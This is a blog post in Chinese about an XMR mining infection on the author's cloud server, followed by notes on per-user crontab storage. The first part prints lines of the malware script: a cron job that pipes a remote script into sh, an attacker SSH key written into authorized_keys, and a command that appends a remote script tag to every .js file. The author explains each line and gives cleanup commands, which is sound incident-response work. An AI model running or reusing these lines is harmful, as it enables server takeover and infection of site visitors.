一、XMR恶意挖矿病毒攻击定时任务及js脚本的处理
之前我的阿里云服务器遭到XMR恶意挖矿病毒攻击, 见文章 我的阿里云服务器发现被中【挖矿程序病毒】 的解决处理-CSDN博客 ,今天有点时间就来准备看一下这个病毒shell文件shz.sh里面的具体内容,幸好看了,原来还有一个遗留病毒我没有解决。先看我下面列出的一些主要点:
#!/bin/sh
setenforce 0 2>dev/null #第2行
echo SELINUX=desabled > /etc/sysconfig/selinux 2>/dev/null #第3行
mv /usr/bin/wget /usr/bin/get #第15行
mv /usr/bin/curl /usr/bin/url #第16行
chattr -i /etc/shz.sh #第20行
#第35行
[[ $cont =~ "shz.sh" ]] || echo "*/12 * * * * curl -fsSL http://c.21-2n.com:43768/shz.sh | sh" >> ${crondir}
#第43行
[[ $ssht =~ "xvsRtqHLMWoh" ]] || echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFNFCF6tOvSqqN9Zxc/ZkBe2ijEAMhqLEzPe4vprfiPAyGO8CF8tn9dcPQXh9iv5/vYEbaDxEvixkTVSJpWnY/5ckeyYsXU9zEeVbbWkdRcuAs8bdVU7PxVq11HLMxiqSR3MKIj7yEYjclLHRUzgX0mF2/xpZEn4GGL+Kn+7GgxvsRtqHLMWoh2Xoz7f8Rb3KduYiJlZeX02a4qFXHMSkSkMnHirHHtavIFjAB0y952+1DzD36a8IJJcjAGutYjnrZdKP8t3hiEw0UBADhiu3+KU641Kw9BfR9Kg7vZgrVRf7lVzOn6O8YbqgunZImJt+uLljgpP0ZHd1wGz+QSHEd Administrator@Guess_me" >> /root/.ssh/authorized_keys
#第198行至201行
iptables -A OUTPUT -p tcp --dport 3333 -j DROP
iptables -A OUTPUT -p tcp --dport 5555 -j DROP
iptables -A OUTPUT -p tcp --dport 7777 -j DROP
iptables -A OUTPUT -p tcp --dport 9999 -j DROP
iptables -A OUTPUT -p tcp --dport 14444 -j DROP
#第214行
find / -name '*.js'|xargs grep -L f4ce9|xargs sed -i '$a\document.write\('\'\<script\ src=\"http://t.cn/EvlonFh\"\>\</script\>\<script\>OMINEId\(\"e02cf4ce91284dab9bc3fc4cc2a65e28\",\"-1\"\)\</script\>\'\)\;
第2、3行关闭了setenforce安全验证。
第15行16行分别干掉了wget和curl,难怪我在服务器上找不到这两个命令,有时一安装没一会就不行了。正是这里在捣乱。
第20行给他的病毒文件加了特殊权限,让你一般删不掉。
第35行把这个定时拉取病毒的程序写进了定时任务
第43行给你的服务器添加了ssh登录
第198行至201行关闭了所有防火墙相关的
最可恶的是第214行,给整个服务器的js文件都自动在最后一行添加了一行代码,让你的网页程序都中毒了。
可以使用sed命令批量删除服务器的所有js文件中的这行:
批量删除
sed -i '/http:\/\/t.cn\/EvlonFh/d' `find / -name "*.js"`
删除单个文件里的这行数据:
sed -i '/http:\/\/t.cn\/EvlonFh/d' bootstrap.js
二、Crontab定时任务分用户存储的坑
平时也都只用一个用户登录服务器,自己的阿里云操作时多是 root 账号,于是在使用crontab时经常是使用crontab -e;crontab -l来编辑和查看,有一台服务器我知道它有一个任务每隔一段时间就会执行,但是使用crontab -e等命令怎么也找不到这个crontab定时任务写在哪里,再深入了解了一下才发现,crontab是分用户存储的。
定时任务的脚本写在 /var/spool/cron/用户名 这个文件里,使用crontab -e查看就是当前用户的定时任务,要查看其它用户的定时任务必须要有root权限,因为这些文件的组权限和其它用户权限都是0.所有只有root用户可以使用-u参数来指定操作其它用户的定时任务。所有设置定时任务除了使用crontab(-u,-e,-l,-r)外,也可以直接编辑/var/spool/cron/用户名 这个文件。
cron服务每分钟不仅要读一次/var/spool/cron内的所有文件,还需要读一次/etc/crontab,因此使用这个文件也能操作定时任务情。crontab -e配置的是某个用户的定时,而/etc/crontab是针对全局系统的任务。下面是这个命令的:
SHELL=/bin/bash
PATH=/sbin:/bin:/usr/sbin:/usr/bin
MAILTO=root
HOME=/
# run-parts
01 * * * * root run-parts /etc/cron.hourly //每小时执行/etc/cron.hourly内的脚本
02 4 * * * root run-parts /etc/cron.daily //每天执行/etc/cron.daily内的脚本
22 4 * * 0 root run-parts /etc/cron.weekly //每星期执行/etc/cron.weekly内的脚本
42 4 1 * * root run-parts /etc/cron.monthly //每月去执行/etc/cron.monthly内的脚本
所以系统级的定时任务,直接配置 /etc/crontab。而用户级的定时任务,建议使用 crontab -e ,这样系统会帮着检查配置的脚本语法。